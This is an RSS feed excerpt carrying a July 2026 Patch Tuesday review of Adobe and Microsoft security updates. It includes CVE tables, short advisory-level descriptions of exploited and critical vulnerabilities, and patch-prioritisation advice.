Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56176">CVE-2026-56176</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58628">CVE-2026-58628</a></td><td><p>Windows Wireless Network Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50295">CVE-2026-50295</a></td><td><p>Windows Zero Trust DNS Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50509">CVE-2026-50509</a></td><td><p>Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr></tbody></table><p></p><p></p><h2>Zero-Day Vulnerabilities: Known Exploited</h2><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56155">CVE-2026-56155</a></td><td><p>Active Directory Federation Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Detected</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56164">CVE-2026-56164</a></td><td><p>Microsoft SharePoint Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Detected</p></td><td><p>No</p></td><td><p>5.3</p></td></tr></tbody></table><h2>Zero-Day Vulnerabilities: Publicly Disclosed (No known exploitation)</h2><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50661">CVE-2026-50661</a></td><td><p>Windows BitLocker Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>Yes</p></td><td><p>6.1</p></td></tr></tbody></table><h2>Critical RCEs</h2><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56159">CVE-2026-56159</a></td><td><p>DHCP Server Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48561">CVE-2026-48561</a></td><td><p>Microsoft Copilot Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55944">CVE-2026-55944</a></td><td><p>Microsoft Dynamics NAV and Microsoft Dynamics 365 Business Central (On Premises) Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55008">CVE-2026-55008</a></td><td><p>Microsoft Exchange Server Spoofing Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50522">CVE-2026-50522</a></td><td><p>Microsoft SharePoint Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58644">CVE-2026-58644</a></td><td><p>Microsoft SharePoint Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55040">CVE-2026-55040</a></td><td><p>Microsoft SharePoint Server Security Feature Bypass Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57092">CVE-2026-57092</a></td><td><p>Microsoft Windows VMSwitch Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55010">CVE-2026-55010</a></td><td><p>Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54990">CVE-2026-54990</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56190">CVE-2026-56190</a></td><td><p>Remote Desktop Protocol Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42990">CVE-2026-42990</a></td><td><p>SQL Server ODBC driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50518">CVE-2026-50518</a></td><td><p>Windows DHCP Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49172">CVE-2026-49172</a></td><td><p>Windows FTP Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50380">CVE-2026-50380</a></td><td><p>Windows GDI+ Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49798">CVE-2026-49798</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50447">CVE-2026-50447</a></td><td><p>Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56188">CVE-2026-56188</a></td><td><p>Windows Server Network driver Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr></tbody></table><p></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The July 2026 Security Update Review]]></title>
<description><![CDATA[Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly...]]></description>
<link>https://tsecurity.de/de/3668876/it-security-nachrichten/the-july-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668876/it-security-nachrichten/the-july-2026-security-update-review/</guid>
<pubDate>Tue, 14 Jul 2026 20:22:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our <a href="https://www.youtube.com/playlist?list=PLeFSM_a8Jri75_5-NpydcFneOaTvr3vJE">YouTube</a> channel. It should be posted within a couple of hours after the release.</p><p class=""><strong>Adobe Patches for July 2026</strong></p><p class="">Adobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I’ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We’ll see if other vendors follow their lead.</p><p class="">For the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-82.html" target="_blank">APSB26-82</a></td>
    <td>Adobe ColdFusion</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.9</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/magento/apsb26-73.html" target="_blank">APSB26-73</a></td>
    <td>Adobe Commerce</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/after_effects/apsb26-78.html" target="_blank">APSB26-78</a></td>
    <td>Adobe After Effects</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/animate/apsb26-83.html" target="_blank">APSB26-83</a></td>
    <td>Adobe Animate</td>
    <td>6</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/audition/apsb26-71.html" target="_blank">APSB26-71</a></td>
    <td>Adobe Audition</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/bridge/apsb26-81.html" target="_blank">APSB26-81</a></td>
    <td>Adobe Bridge</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/creative-cloud/apsb26-77.html" target="_blank">APSB26-77</a></td>
    <td>Adobe Creative Cloud Desktop Application</td>
    <td>2</td>
    <td>Critical</td>
    <td>8.1</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-74.html" target="_blank">APSB26-74</a></td>
    <td>Adobe Experience Manager</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-79.html" target="_blank">APSB26-79</a></td>
    <td>Adobe Illustrator</td>
    <td>5</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/media-encoder/apsb26-72.html" target="_blank">APSB26-72</a></td>
    <td>Adobe Media Encoder</td>
    <td>5</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/premiere_pro/apsb26-76.html" target="_blank">APSB26-76</a></td>
    <td>Adobe Premiere Pro</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-80.html" target="_blank">APSB26-80</a></td>
    <td>Content Credentials SDK</td>
    <td>12</td>
    <td>Critical</td>
    <td>8.2</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>12 bulletins</td>
    <td>88</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  






  <p class="">While nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you’re using these products, patch them. However, you can use you regular patch cadence here. </p><p class=""><strong>Microsoft Patches for July 2026</strong></p><p class="">Here it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone’s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won’t cover here. Here’s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years’ totals.</p>





















  
  














































  

    
  
    

      

      
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  <p class="">The products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase “Windows components” does some pretty heavy lifting here, too, as just about everything you’ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.</p><p class="">So how do we eat this elephant? One byte at a time (pun intended). Let’s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><strong>CVE-2026-56155</strong></a><strong> - Active Directory Federation Services Elevation of Privilege Vulnerability<br></strong>This is one of several AD FS being patched this month, but it’s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56154"><strong>CVE-2026-56164</strong></a><strong> - Microsoft SharePoint Server Elevation of Privilege Vulnerability<br></strong>The other bug being exploited in the wild this month is a modest CVSS 5.3 – but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><strong>CVE-2026-57092</strong></a><strong> - Microsoft Windows VMSwitch Elevation of Privilege Vulnerability<br></strong>This patch rates the highest CVSS score for the month: a solid 9.9. It’s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn’t alone. If you’re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><strong>CVE-2026-50522</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><strong>58644</strong></a><strong> - Microsoft SharePoint Remote Code Execution Vulnerability<br></strong>This matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during <a href="https://www.zerodayinitiative.com/blog/2026/5/16/pwn2own-berlin-2026-day-three-results-and-master-of-pwn">Pwn2Own Berlin</a>, so it’s odd to see Microsoft list it as “Exploit Maturity Unknown” since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><strong>CVE-2026-56190</strong></a><strong> - Remote Desktop Protocol Remote Code Execution Vulnerability</strong><br> This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><strong>CVE-2026-55008</strong></a><strong> - Microsoft Exchange Server Spoofing Vulnerability<br></strong>Ignore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it’s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session — no attachment needed, no macro warning, just viewing the message does it. If you’re using OWA, test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><strong>CVE-2026-50518</strong></a><strong> - Windows DHCP Server Remote Code Execution Vulnerability<br></strong>There are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><strong>CVE-2026-56188</strong></a><strong> - Windows Server Network driver Remote Code Execution Vulnerability<br></strong>Another Critical-rated bug, this one is caused by a race condition. It’s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don’t let the race condition lull you to sleep on a wormable bug.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><strong>CVE-2026-55010</strong></a><strong> - Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability<br></strong>File this in the “why not” category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid’s Minecraft server (it is your kid’s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.</p><p class="">Here’s the full list of CVEs released by Microsoft for July 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026-Jul-cvrf.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="920">
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  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><span>CVE-2026-56155</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164"><span>CVE-2026-56164</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661"><span>CVE-2026-50661</span></a></td>
  <td width="256" class="xl74">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl70">Yes</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121"><span>CVE-2026-54121</span></a></td>
  <td width="256" class="xl74">Active Directory
  Certificate Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45499"><span>CVE-2026-45499 **</span></a></td>
  <td width="256" class="xl74">Azure OpenAI Elevation
  of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48564"><span>CVE-2026-48564</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50370"><span>CVE-2026-50370</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56159"><span>CVE-2026-56159</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50382"><span>CVE-2026-50382</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41106"><span>CVE-2026-41106 **</span></a></td>
  <td width="256" class="xl74">Microsoft 365 Copilot
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26145"><span>CVE-2026-26145 **</span></a></td>
  <td width="256" class="xl74">Microsoft Azure
  Synapse Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48561"><span>CVE-2026-48561</span></a></td>
  <td width="256" class="xl74">Microsoft Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55011"><span>CVE-2026-55011</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55012"><span>CVE-2026-55012</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="96">
  <td class="xl67" height="96"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55944"><span>CVE-2026-55944</span></a></td>
  <td width="256" class="xl74">Microsoft Dynamics NAV
  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57100"><span>CVE-2026-57100 **</span></a></td>
  <td width="256" class="xl74">Microsoft Entra
  Provisioning Service Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55041"><span>CVE-2026-55041</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54998"><span>CVE-2026-54998 **</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Online Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><span>CVE-2026-55008</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54992"><span>CVE-2026-54992</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50314"><span>CVE-2026-50314</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50467"><span>CVE-2026-50467</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55018"><span>CVE-2026-55018</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55022"><span>CVE-2026-55022</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55045"><span>CVE-2026-55045</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
